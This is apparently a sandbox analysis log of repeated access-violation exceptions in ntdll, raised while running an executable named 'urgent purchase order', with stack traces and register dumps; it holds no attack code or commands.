__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7788af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632452 registers.edi: 1632548 registers.eax: 23117 registers.ebp: 1632512 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 2005342720	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x7788ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x7788af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632584 registers.edi: 1632672 registers.eax: 23117 registers.ebp: 1632644 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 1632512	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632708 registers.edi: 1632804 registers.eax: 23117 registers.ebp: 1632768 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 2005446144	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7787199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7787193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632600 registers.edi: 1632688 registers.eax: 23117 registers.ebp: 1632660 registers.edx: 0 registers.ebx: 0 registers.esi: 33357824 registers.ecx: 1632512	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7788af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632452 registers.edi: 1632548 registers.eax: 23117 registers.ebp: 1632512 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 2005342720	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x7788ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x7788af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632584 registers.edi: 1632672 registers.eax: 23117 registers.ebp: 1632644 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 1632512	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632708 registers.edi: 1632804 registers.eax: 23117 registers.ebp: 1632768 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 2005446144	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7787199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7787193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632600 registers.edi: 1632688 registers.eax: 23117 registers.ebp: 1632660 registers.edx: 0 registers.ebx: 0 registers.esi: 33357824 registers.ecx: 1632512	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e RtlRetrieveNtUserPfn+0x464 RtlOpenCurrentUser-0x14e ntdll+0x5af21 @ 0x7788af21 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632452 registers.edi: 1632548 registers.eax: 23117 registers.ebp: 1632512 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 2005342720	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f RtlRetrieveNtUserPfn+0x2ea RtlOpenCurrentUser-0x2c8 ntdll+0x5ada7 @ 0x7788ada7 RtlRetrieveNtUserPfn+0x4bb RtlOpenCurrentUser-0xf7 ntdll+0x5af78 @ 0x7788af78 RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632584 registers.edi: 1632672 registers.eax: 23117 registers.ebp: 1632644 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 1632512	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageDirectoryEntryToData+0x5c RtlAddRefActivationContext-0x80 ntdll+0x2f5a2 @ 0x7785f5a2 RtlImageDirectoryEntryToData+0x1a RtlAddRefActivationContext-0xc2 ntdll+0x2f560 @ 0x7785f560 RtlDosPathNameToNtPathName_U_WithStatus+0x10e LdrAccessResource-0x7a2 ntdll+0x4176e @ 0x7787176e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce ntdll+0x39ea5 @ 0x77869ea5 exception.instruction_r: 66 39 06 0f 85 7d c8 00 00 8b 46 3c 89 45 dc 3a exception.symbol: RtlImageNtHeaderEx+0x5a RtlImageDirectoryEntryToData-0x57 ntdll+0x2f4ef exception.instruction: cmp word ptr [esi], ax exception.module: ntdll.dll exception.exception_code: 0xc0000005 exception.offset: 193775 exception.address: 0x7785f4ef registers.esp: 1632708 registers.edi: 1632804 registers.eax: 23117 registers.ebp: 1632768 registers.edx: 0 registers.ebx: 33357824 registers.esi: 33357824 registers.ecx: 2005446144	1
__exception__ Nov. 10, 2021, 5:58 p.m.	stacktrace: RtlImageNtHeader+0x1b RtlDeleteCriticalSection-0x1476 ntdll+0x3317f @ 0x7786317f RtlDosPathNameToNtPathName_U_WithStatus+0x33e LdrAccessResource-0x572 ntdll+0x4199e @ 0x7787199e RtlDosPathNameToNtPathName_U_WithStatus+0x2de LdrAccessResource-0x5d2 ntdll+0x4193e @ 0x7787193e RtlDosPathNameToNtPathName_U_WithStatus+0x26e LdrAccessResource-0x642 ntdll+0x418ce @ 0x778718ce RtlDosPathNameToNtPathName_U_WithStatus+0xee LdrAccessResource-0x7c2 ntdll+0x4174e @ 0x7787174e RtlLoadString+0x9c TpSetTimer-0x5bd ntdll+0x43e5f @ 0x77873e5f LoadStringBaseExW+0x51 LoadStringA-0x91 kernelbase+0x13b2a @ 0x75d73b2a LoadStringA+0x1d RegisterClassExA-0x5a user32+0x1db3e @ 0x7566db3e New_user32_LoadStringA@16+0x91 New_user32_LoadStringW@16-0x8b @ 0x747a7322 0x1fd60e3 0x1fd4117 0x1fd4204 urgent purchase order+0x54483 @ 0x454483 urgent purchase order+0x5492b @ 0x45492b urgent purchase order+0x55446 @ 0x455446 urgent purchase order+0x1aaee @ 0x41aaee gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x756662fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75666d3a CharPrevW+0x138 TranslateMessage-0x45 user32+0x177c4 @ 0x756677c4 DispatchMessageA+0xf GetMessageA-0x9 user32+0x17bca @ 0x75667bca urgent purchase order+0x51928 @ 0x451928 urgent purchase order+0x5570b @ 0x45570b BaseThreadInitThunk+0x12 VerifyConsoleIoHandle-0xb3 kernel32+0x133ca @ 0x750933ca RtlInitializeExceptionChain+0x63 RtlAllocateActivationContextStack-0xa1 ntdll+0x39ed2 @ 0x77869ed2 RtlInitializeExceptionChain+0x36 RtlAllocateActivationContextStack-0xce 